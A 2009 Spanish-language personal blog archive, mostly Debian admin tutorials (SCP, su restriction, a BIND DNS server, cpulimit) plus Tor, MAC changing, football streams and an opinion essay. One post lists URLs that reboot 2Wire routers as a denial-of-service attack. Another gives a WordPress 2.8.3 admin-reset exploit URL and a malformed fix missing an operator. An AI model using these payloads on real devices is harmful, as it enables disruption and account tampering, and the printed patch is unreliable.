SDRE

Transferencia de archivos usando SCP (Secure CoPy)

2009-08-28T00:24:00.000-07:00

¿Que es SCP?
Pues basicamente es un protocolo de transferencia de archivos que cifra los datos durante la transferencia para evitar que puedan ser sniffeados y extraigan la información pero por si solo SCP no es un protocolo de autentificación necesita del SSH para que este haga lo que SCP no puede.

PASOS:

1.- Lo primero es tener instalado en ambas PC'S el servidor SSH.

2.-Ya una vez todo listo ahora explicare la sintaxis del comando para ENVIAR. Lo principal es siempre anteponer el comando scp seguido del archivo o carpeta y despues el destino, ejemplo:

PARA ENVIAR ARCHIVOS

# scp /carpeta origen/miarchivo usuarioremoto@dominio:/ruta destino

PARA ENVIAR CARPETAS "HE AGREADO -r PARA INDICAR QUE ES UNA CARPETA"

# scp -r /carpeta a enviar usuarioremoto@dominio:/carpeta destino

3.-Ahora haremos la inversa que es COPIAR un archivo del sitio remoto a mi PC, ejemplo:

PARA COPIAR ARCHIVO "PUEDEN OMITIR /micarpeta Y EL ARCHIVO LLEGARA A SU CARPETA HOME"

# scp usuarioremoto@dominio:/rutadearchivo /carpetadestino

PARA COPIAR CARPETAS

# sccp -r usuarioremoto@dominio:/carpetaremota /carpetadestino

Cambio de puerto.

Por default intenta conectarse al puerto 22, ¿pero que pasa si el server usa otro puerto??

para este ejemplo usara el 45 ( es ejemplo )

scp -P 45 /carpeta origen/miarchivo usuarioremoto@dominio:/ruta destino

Desde Windows.

Si necesitan conectarse desde windows por medio del scp, existe una herramienta llamada Winscp que permite de manera grafica realizar las actividades que se necesiten.

Nota: Tener en cuenta los permisos de las carpetas a donde van a copiar, estas deben tener permiso de escritura sino les mandara un error.

Privilegio para usuarios bajo SU

2009-08-28T00:22:00.001-07:00

Por default en GNU/Linux Debian, los usurios pueden implementar el comando "su", el uso principal de este

comando es que un usuario normal adquiera los permisos de otro usuario del sistema (incluido root) siempre
y cuando sepa su password.

Por lo cual implementaremos, un poco de seguridad, la cual consta en dar permisos a los usuarios
seleccionados para usar el comando "su"

Pasos

1.- Editar el archivo /etc/pam.d/su

sudo pico /etc/pam.d/su

y descomentamos la linea siguiente.

auth required pam_wheel.so

Para salir control + x , posteriormente presionaremos "S" para grabar y salir

2.- Crear el grupo "wheel"

sudo addgroup wheel

3.- Agregar usuario al grupo "wheel"

sudo adduser usuario wheel

4.- Para eliminar un usuario del grupo

sudo deluser usuario wheel

y de esta manera, solo los usuarios dentro del grupo "wheel", podran usar el comando "su"

Servidor DNS Local en Debian

2009-08-28T00:16:00.000-07:00

¿Ques es un DNS?

(acrónimo: Domain Name System, literalmente "Sistema de Nombres de Dominio"). 1: Sistema de nomenclatura . para la gestión de dominios en Internet, y que relaciona un nombre (por ejemplo tierradenomadas.com) con su
dirección IP (66.197.236.136).

En este escrito instalaremos un servidor DNS para la red local con la finalidad de ganar tiempo al momento
de resolver nombres.

Es mas lento el acceder a un servidor DNS del ISP por medio del router que a una maquina que
esta conectada a nuestra red interna donde la velocidad de conexion es mayor.

La computadora que tendra la funcion del servidor dns, debera estar prendida siempre que requieran navegar en
internet.

Configuracion de DNS local.

Instalaremos el paquete bind9

#apt-get install bind9

Debera editar el archivo /etc/resolv.conf

# nano /etc/resolv.conf

En donde tengo configurado de la siguiente manera

search gateway.2wire.net
nameserver 127.0.0.1
nameserver 192.168.1.254

y debera quedar asi.

y debera quedar asi.

search seguridadaldia.com.mx <-- tu dominio
nameserver 127.0.0.1 <-- localhost (no modificar )
nameserver 192.168.1.254 <-- ip del router

ahora debera grabar los cambios y salir del editor.

Lo siguiente es realizar una copia de seguridad del archivo named.conf.options

# cp /etc/bind/named.conf.options /etc/bind/named.conf.optionsC

Procedemos a editar el archivo

# nano /etc/bind/named.conf.options

y debera quedar de la siguiente maneara.

options {
directory "/var/cache/bind";

// If there is a firewall between you and nameservers you want
// to talk to, you might need to uncomment the query-source
// directive below. Previous versions of BIND always asked
// questions using port 53, but BIND 8.1 and later use an unprivileged
// port by default.

query-source address * port 53;

// If your ISP provided one or more IP addresses for stable
// nameservers, you probably want to use them as forwarders.
// Uncomment the following block, and insert the addresses replacing
// the all-0's placeholder.

forwarders {

127.0.0.1
192.168.1.254

};

auth-nxdomain no; # conform to RFC1035
listen-on-v6 { any; };
};

Ahora podemos reiniciar los servicios de la red y del dns o reiniciar el equipo.

Para conocer las ventajas del servidor DNS local en accion, ejecutaremos el siguiente comando.

Antes de implementar el servidor DNS

$ dig http://www.google.com.mx

;; Query time: 804 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Fri Apr 27 09:43:31 2007
;; MSG SIZE rcvd: 158

Despues de implementar el servidor DNS

$ dig http://www.google.com.mx

;; Query time: 45 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Wed May 28 02:40:55 2008
;; MSG SIZE rcvd: 147

La primera consulta tardo 804 milisegundos (Query time).
La segunda consulta tardo 45 milisegundos (Query time).
El servidor ahora consulta su propia tabla, en la cual existe ahora la entrada con la información de
http://www.google.com.mx

Clientes.

Para agregar el servidor a los clientes de la red, debera configurarlo en el archivo
resolv.conf agregando la IP de nuestro servidor en la linea nameserver y nuestro dominio en la linea search.

# nano /etc/resolv.conf

search seguridadaldia.com.mx
nameserver ip del servidor en la lan

Si por cosas del destino caen los DNS de mi ISP no nos preocuparemos por que ya tenemos un servidor DNS . para resolver los nombres.

Frase 2

2009-08-25T08:49:00.000-07:00

El oro y el poder no te cambian, te delatan

2wire Vulnerable ataque vía DOS

2009-08-24T23:56:00.000-07:00

Existen varias vulnerabilidades en los routers 2wire unas muy simples otras muy preocupantes, en este caso recordaremos una que aun sigue vigente.

Se trata de la vulnerabilidad de ataque DOS, ya que se puede reiniciar con hacer una peticion a /xslt con el valor %X donde X es cualquier caracter que no es de la A-z. Ejemplo:

http://gateway.2wire.net/xslt?page=%&
http://gateway.2wire.net/xslt?page=%@
http://gateway.2wire.net/xslt?page=%%21 !
http://gateway.2wire.net/xslt?page=%++
http://gateway.2wire.net/xslt?page=%;
http://gateway.2wire.net/xslt?page=%%27
http://gateway.2wire.net/xslt?page=%%7E
http://gateway.2wire.net/xslt?page=%**
http://gateway.2wire.net/xslt?page=%0
http://gateway.2wire.net/xslt?page=%9
http://gateway.2wire.net/xslt?page=%?

Entonces al entrar alguno de estos enlaces el router se reiniciará.

Fuente: milw0rm.com

Respaldo de tu información de gmail

2009-08-24T23:10:00.000-07:00

Google pensando en la importancia del respaldo de información creo una herramienta que permite respaldar el contenido de las cuentas de gmail. La herramienta se llama Gmail Backup y funciona tanto en Windows como en GNU/Linux.

Proceso.

Tienes que poner tu dirección de correo electrónico, tu contraseña, la ruta de la carpeta donde se va a guardar el respaldo, puede elegir un rango de fechas para respaldar y eso es todo.

Con GNU/Linux se necesita instalar las librerías wxPython

Interfaz

Sitio del proyecto: Gmail Backup

Navega anonimamente con Tor Portable en Windows

2009-08-24T22:47:00.000-07:00

Tor le protege transmitiendo sus comunicaciones a través de una red distribuída de repetidores llevados por voluntarios de todo el mundo: evita que alguien que observa su conexión a Internet aprenda qué sitios visita, y evita que los sitios que visita aprendan su posición física.

Recordar tor "no encripta la información".
Tor esta soportado para GNU/Linux sin ningun problema.

Entonces tienen dos maneras de usar Tor, instalando el programa completo o bien usar la version portable del mismo, cualquiera de las dos maneras funciona correctamente.

Para descargar la version portable: Descarga PortableTor

Para acompañar esta util herramienta es adecuado tener un navegador portable en este caso nada mejor que firefox. Descargar Firefox Portable Español

Configuración

Una vez que tor se este ejecutado en el equipo, debera trasladarse a las "opciones de red" en su navegador posteriormente habilitar "Configuracion manual de proxy" y usar 127.0.0.1 y puerto 8118.

Comprobación

Antes de hacer todo el proceso del cambio de ip en las opciones de red, es recomendable que visite alguna página que le informe de la ip que tiene actualmente, y posteriormente de la configruación verificarlo de nuevo, se dara cuenta que la ip cambio a un rango muy diferente del primero.

Frase 1

2009-08-24T22:32:00.001-07:00

Intenta no volverte un hombre de éxito, sino volverte un hombre de valor

Cambiar MAC Address en Windows XP

2009-08-24T22:05:00.000-07:00

En algún momento es necesario realizar el "cambio" de la mac address de nuestra tarjeta de red, es de recordar que este "cambio" se realiza al nivel de la memoria RAM por lo que nunca es un cambio fisico de la mac en la tarjeta.

Los diferentes metodos para logarar esto son:

1.- Cambio desde el cmd (no recuerdo como es)
2.- Cambio desde el regedit
3.- Cambio desde las opciones de la tarjeta de red
4.- cambio desde algun programa (lo mas comun)

Entonces nos basaremos en los puntos 3 y 4.

Cambio desde las opciones de la tarjeta de red

En windows XP
1.- inicio->panel de control->conexiones de red
2.- sobre la tarjeta que desceamos modifcar ... click derecho->propiedades.
3.- Click en configurar.
4.- Click opciones avanzadas
5.- en el listBox de la izquierda, seleccionar la opcion NetworkAddress
6.-en el textBox de la derecha escribir el valor nuevo de la mac y seleccionar el radiobutton para utilizar el nuevo valor.

Cambio por medio de algun programa

Existen una gran variedad de programas para realizar el "cambio", entre ellos les pueden recomendar el EtherChange por ser sencillo y eficiente.

para descargarlo: EtherGhange
Sitio web: http://www.ntsecurity.nu/toolbox/etherchange/

Wordpress 2.8.3 Admin Reset Exploit Y Solución

2009-08-12T22:30:00.000-07:00

Navegando en la red como todos los días, encontre una nota en la página de darknet.org.uk donde mencionan de una vulnerabilidad para la versión 2.8.3 de wordpress. La función de este exploit es resetear el password del admin, pero el nuevo password es enviado al mail de dicho admin.

La linea para probar este exploit es:

http://www.domain.com/wp-login.php?action=rp&key[]=

Cómo solucionarlo?

Para solucionarlo de manera temporal, tenemos que abrir los archivos de configuración de Wordpress en nuestro servidor, ubicar wp-login.php, dirigirnos a la línea 190 y cambiar

if ( empty( $key ) )

Por

if ( empty( $key ) is_array( $key ) )

Mas información: ayudawordpress

FÚTBOL SOCCER en VIVO

2009-08-12T08:53:00.000-07:00

Para todas aquellas personas que busquen ver los partidos de fútbol soccer en línea. Les dejo una lista de canales de Justin.tv donde pueden ver la mayoria de estos partidos.

Usualmente se transmite la liga de futbol méxicana y europea.

http://www.justin.tv/sportswii1
http://www.justin.tv/sportswix
http://www.justin.tv/conejo_503
http://www.justin.tv/rambo_es10
http://www.justin.tv/manutv11
http://www.justin.tv/mipais_tv
http://www.justin.tv/vip_pub
http://www.justin.tv/alv11172
http://www.justin.tv/rambo_es10
http://www.justin.tv/luchito2040
http://www.aztecadeportes.com/seleccion/index/
http://www.televisadeportes.com/

Canal de Mipais_tv

Watch live video from mipais_tv on Justin.tv

Signs

2009-07-31T19:38:00.000-07:00

Es un video interesante que encontré en el blog de Theron que le fue recomendado por Bucio. Hace referencia a un hombre que se encuentra desmotivado por no tener ese alguien que complemente su día, pero cuando la encuentra, el cambio que esto contrae es completo. ¿Familiar?

Solo un admin entiende a otro admin

2009-07-31T16:40:00.000-07:00

Administrando los programas de arranque del sistema con rcconf en Debian

2009-07-30T23:00:00.001-07:00

rcconf – Debian Runlevel Configuration tool.

Es una aplicación que nos permite habilitar o deshabilitar el arranque de un proceso en el sistema.

Instalación

sudo apt-get install rcconf

Uso

En la consola escribira el comando rcconf, el cual llamara a un asistente donde debera habilitar o deshabilitar un proceso. Cuando inicie el sistema de nuevo los cambios se efecturan.

Cambiar la zona horaria de manera sencilla en Debian.

2009-07-30T22:56:00.000-07:00

Forma uno

El comando “tzselect”, se encarga de presentar diferentes opciones con un menú donde debes seleccionar primero el continente, el país y posteriormente aceptas los cambios.

Forma dos

El comando “dpkg-reconfigure tzdata”, el cual se presentara de manera muy similar al instalador de debian el cual es muy intuitivo.

Powertop mejora el consumo de energía en portatiles como en equipos Desktop

2009-07-30T22:55:00.001-07:00

Powertop es una aplicación desarrollada por intel que se encarga de monitorear aplicaciones, procesos, controladores de dispositivos que corren en GNU/Linux para informar cuales son las que consumen mas energía, y lo sobresaliente es que informa que puedes hacer para solucionar eso.

Objetivo:

* Informar como el equipo esta usando las características de ahorro de energía.
* Informar el software que impide el uso optimo de hardware para ahorro de energía.
* Ayuda para los desarrolladores de Linux a poner a prueba su aplicación y lograr el óptimo comportamiento.
* Informa las sugerencias para lograr un óptimo consumo de energía.

Esta disponible en la mayoría de las distribuciones. (apt-get, yum, emerge, tar.gz, etc. )

Administrando el ancho de banda con Trickle en Debian

2009-07-30T22:52:00.000-07:00

trickle y trickled (daemon de trickle).

Trickle se encarga de limitar el uso de ancho de banda de “subida” y “bajada” de una aplicación que le especifiquemos.

Instalacion por apt. “sudo apt-get install trickle”

probando:

Ejemplo 1:

trickle -u 5 -d 12 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 5 Kbps de “subida” y 12 Kbps de “bajada”, la ventaja es que trickle puede ser invocado tanto por usuarios como por root.

Ejemplo 2:

trickle -d 50 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 50 Kbps de “bajada”,

Limitar el uso de % de un proceso en el cpu con Debian.

2009-07-30T22:47:00.000-07:00

Cpulimit es una herramienta que permite administrar el uso máximo que un proceso puede usar del procesador. Esto lo representa en porcentaje.

Traducido.

Su función es limitar el uso del % que puede usar un proceso del CPU.

Forma de instalación

sudo apt-get install cpulimit

Formas de limitar el proceso:

Por nombre del proceso , por pid y por el path.

Ejemplos

Limitar al pograma que no pueda usar mas del 50% del procesador.

cpulimit –e NOMBREAPLICACION –limit 50

Limitara al pid que no pueda usar mas del 50% del procesador.

cpulimit -p 1234 -l 50

Limitar al pograma representado con el path, a que no pueda usar mas del 50% del procesador.

cpulimit -P /usr/bin/programa -l 50

Nota: Esta herramienta reconoce los procesadores de doble nueclo con 200%,

Para mas información: man cpulimit.

MASIOSARE: UN EXTRAÑO ENEMIGO

2009-07-30T19:17:00.000-07:00

Esto me llego por correo!

Por: Juan Miguel Zunzunegui

Masiosare, ese extraño enemigo del que se hace mención en nuestro himno nacional, ha reaparecido y está nuevamente entre nosotros: profanó con su planta nuestro suelo y está listo para destruir a México.
Lo triste es que Masiosare es extraño pero no extranjero y de hecho ha estado eternamente entre nosotros; el principal y más terrible enemigo que ha tenido por siempre el mexicano y es el mexicano de al lado, dispuesto a hacerlo pedazos.

Los mexicanos tenemos esa terrible y maravillosa tendencia a achacar todos nuestros problemas a alguna misteriosa y maquiavélica fuerza ajena a nosotros: perdemos el mundial porque el árbitro está en contra nuestra; en las olimpiadas los jueces de la caminata están en contra de los mexicanos; Fernando Platas no le cae bien a los jueces de clavados y por eso lo califican mal; seríamos ricos si los españoles no nos hubieran conquistado; seriamos potencia si los gringos no nos hubieran quitado el territorio del norte y hubiéramos ganado el mundial del 94 si Bora hubiera hecho los cambios y metido a Hugo Sánchez. Por supuesto, López Obrador hubiera ganado si no fuera por el complot de la derecha internacional orquestado, con el cariño de siempre, por el osito Bimbo.

Nunca se nos ocurre pensar que los problemas de los mexicanos pueden ser culpa de los mexicanos, principalmente porque somos enemigos unos de otros. En casi todos los países del mundo, el ataque de un extranjero provoca la unión del pueblo por más dividido que esté. Aquí nos divide mas.

El presidente de TODOS los mexicanos (aunque hayan votado por otro (partido) se llama Felipe Calderón. El señor se fue a una gira por Europa que tuvo bastante éxito y en la que desde luego nos dejó mucho mejor parados que su antecesor. En esta gira hubo cosas interesantes, se promovió al país, se le dio buena imagen, se dio confianza al inversionista. .., pero las noticias en México le dieron más importancia a los berrinches del Mico Mandante Chávez.
Calderón, representante de todos los mexicanos, habló de unidad en Latinoamérica por encima de izquierdas y derechas.
Mico Mandante Chávez no perdió oportunidad para arremeter en su contra, insultarlo y burlarse de él y por tanto, del pueblo de México.

De inmediato los diputados y senadores del PRD y otros partidos hicieron la 'Cargada'..., pero del lado del Venezolano: es necesario restablecer la relación con Venezuela, sin importar los insultos que su presidente inflija al nuestro.

Hace poco el señor Bush habló ante su parlamento, dominado por la oposición. Fue presentado por la presidenta parlamentaria, de oposición también, quien en vez de tomar la tribuna y manchar de café su bandera se dirigió a los presentes diciendo: 'Tengo el honor de presentarles al presidente de los Estados Unidos de América'. No lo quieren, es su enemigo, su oposición, no es popular, pero es el presidente.

Aquí lo obligamos a entrar a escondidas a la Cámara.

Calderón va a España a hablar con el presidente Zapatero y ese mismo día se le adelanta el líder de su propio partido, un loco, radical, megalómano ansioso de salir en los medios; para decir que Zapatero hace mal las cosas y que en realidad no está combatiendo el crimen organizado y el terrorismo.
Esos errores no son casuales. Enemigos internos. 'Fuego amigo'. Ya ni hablar del gabinete alterno que dentro del PAN están formando los ex
funcionarios, como Abascal, Derbez y el mismísimo Fox. ¡Señores, ya se les acabó su sexenio, hay que cerrar el ciclo, pasar a lo que sigue. Maduren!

Fox era muy malo para la diplomacia, terrible; pero lo que le hizo Castro de grabarle conversaciones y publicarlas es una canallada, digna eso si, de un dictador senil. Los diputados y senadores de la oposición
fueron al monumento a José Martí a colocar una ofrenda al pueblo cubano en desagravio.. ., ¡y nuestro agravio... ¿qué?!

Hace cien años decía Porfirio Díaz: la razón por la que le va mejor a Estados Unidos es que una vez que alguien gana la presidencia, el pueblo y los políticos se le unen para trabajar por la nación. En cambio en México, en cuanto alguien toma el poder, todos, enemigos y antiguos amigos, se ponen en su contra. Eso fue hace cien años y pudo haber sido dicho ayer.

Mexicanos al grito de guerra... pero entre nosotros. Y este es el meollo del asunto, nos atacamos entre todos cuando deberíamos unirnos porque es
una costumbre histórica heredada de generación en generación. Cuando México firmó su acta de independencia, el 27 de septiembre de 1827, nuestro primer día como nación libre, comenzaron los golpes. Unos querían un imperio, otros monarquía.

De ellos, cada quien con un rey distinto, Otros más se decantaban por la república, pero unos la querían federal y otros centralista. Eso nos hizo pelearnos todo el siglo XIX.

Cuando por fin los más importantes paladines de la independencia se pusieron de acuerdo, formaron un congreso que nombró emperador a Iturbide como Agustín I; al día siguiente, aquellos que pelearon a su lado ya peleaban en su contra. Nuestro primer presidente, Guadalupe Victoria, encontró a su peor enemigo en su vicepresidente, Vicente Guerrero, quien al llegar a la presidencia encontró a su peor enemigo en su vicepresidente, Anastasio Bustamante. Otros grandes antagonistas fueron Benito Juárez y Valentín Gómez Farías, siempre que fueron fórmula de gobierno.

Y esa tan lamentada invasión gringa en la que perdimos medio territorio todo mexicano la recuerda, pero casi ninguno conoce los pormenores.
Mientras los ejércitos invasores avanzaban por territorio nacional nuestros líderes se peleaban entre si por el poder. Dos Marianos eran los protagonistas políticos de la época; el presidente Mariano Paredes, al mando del mejor ejército del que México había dispuesto en su historia, en vez de defender a la nación de la invasión lo usó para conservar el poder. El otro Mariano; Salas, estaba en la capital proclamando la monarquía. Los yanquis desfilaban sin mucho disturbio a Palacio Nacional.

Y en la famosa Revolución Mexicana todos nuestros 'héroes' se mataron entre si. Todos han pasado a la historia como buenos y tienen sus nombres en oro en el Congreso; pero el héroe Carranza mató al héroe Zapata, el héroe Obregón mató a los héroes Villa y Carranza y el héroe Plutarco Elías Calles mató al héroe Obregón. Por cierto que el héroe Calles fue expulsado del país por el héroe Cárdenas.

El proyecto de Guerrero era quitar a Victoria, el proyecto de Bustamante era quitar a Guerrero; el proyecto de Santa Anna era quitar al que estuviera; el de Juárez fue quitar a Santa Anna y el de Díaz quitar a Juárez. Madero tuvo un proyecto: quitar a Díaz;Obregón quitar a Carranza y Calles quitar a Obregón. El proyecto de Fox era quitar al PRI...El proyecto del ciudadano López es quitar a Calderón.

Y en torno a esto último deberíamos reflexionar, sobre aquellas palabras citadas de Porfirio Díaz: ya es hora de que dejemos de unirnos para atacar al presidente, ya es hora de que el proyecto de nación deje de ser quitar al que tiene el poder.

Aunque el gringo promedio es Homero Simpson, son potencia mundial porque trabajan en equipo y porque a pesar de todo respetan a sus instituciones y a su presidente, mientras aquí Fernández Noroña trata de salir en la tele golpeándose contra el Estado Mayor.

En este momento decisivo de nuestra historia vemos una vez más a Masiosare enfrentando a todos contra todos. El ciudadano López Obrador está dispuesto a destruir y reventar este país antes de dejar que lo gobierne alguien que no sea él.

Dicen que el pueblo unido jamás será vencido...

¿Cuándo será el día en que México esté unido?

Tal vez ese día si logremos derrotar a Masiosare, ese extraño enemigo.

A QUÉ LE TIRAS CUANDO SUEÑAS MEXICANO

2009-07-30T19:05:00.000-07:00

¿A qué le tiras cuando sueñas, mexicano?
¿A hacerte rico en loterías con un millón?
Mejor trabaja, ya levántate temprano;
con sueños verdes solo pierdes el camión.

¿A qué le tiras cuando sueñas, mexicano?
Con sueños de opio no conviene ni soñar:
sueñas un hada... y ya no debes nada,
tu casa esta pagada, ya no hay que trabajar,
Ya ´sta salvada la Copa en la Olimpiada,
¡soñar no cuesta nada... que ganas de soñar!

¡Ah!... Pero eso sí... mañana si que lo hago,
pero eso sí... mañana voy a ir,
pero eso sí... mañana sí te pago...
¿A qué le tiras cuando sueñas sin cumplir?

¿A qué le tiras cuando sueñas, mexicano?
Deja el tesoro que Cuauhtémoc fue a enterrar
cuantos centavos se te escapan de la mano
buscando un taxi que jamás te ha de llevar.

¿A qué le tiras cuando sueñas, mexicano?
Que faltan niños pa´ poblar este lugar,
sigue soñando que no hay contribuciones,
que ya no hay mordelones, que ya puedes ahorrar.
sigue soñando que el PRI ya no anda en zancos,
que prestan en los bancos, que dejas de fumar...

¡Ah!... Pero eso sí... mañana nos casamos...
pero eso sí... mañana te lo doy...
pero eso sí ... la última y nos vamos ¿no?
¿A que le tiras cuando sueñas, soñador?

Salvador Chava Flores

Paté de Fuá

2009-07-30T09:14:00.000-07:00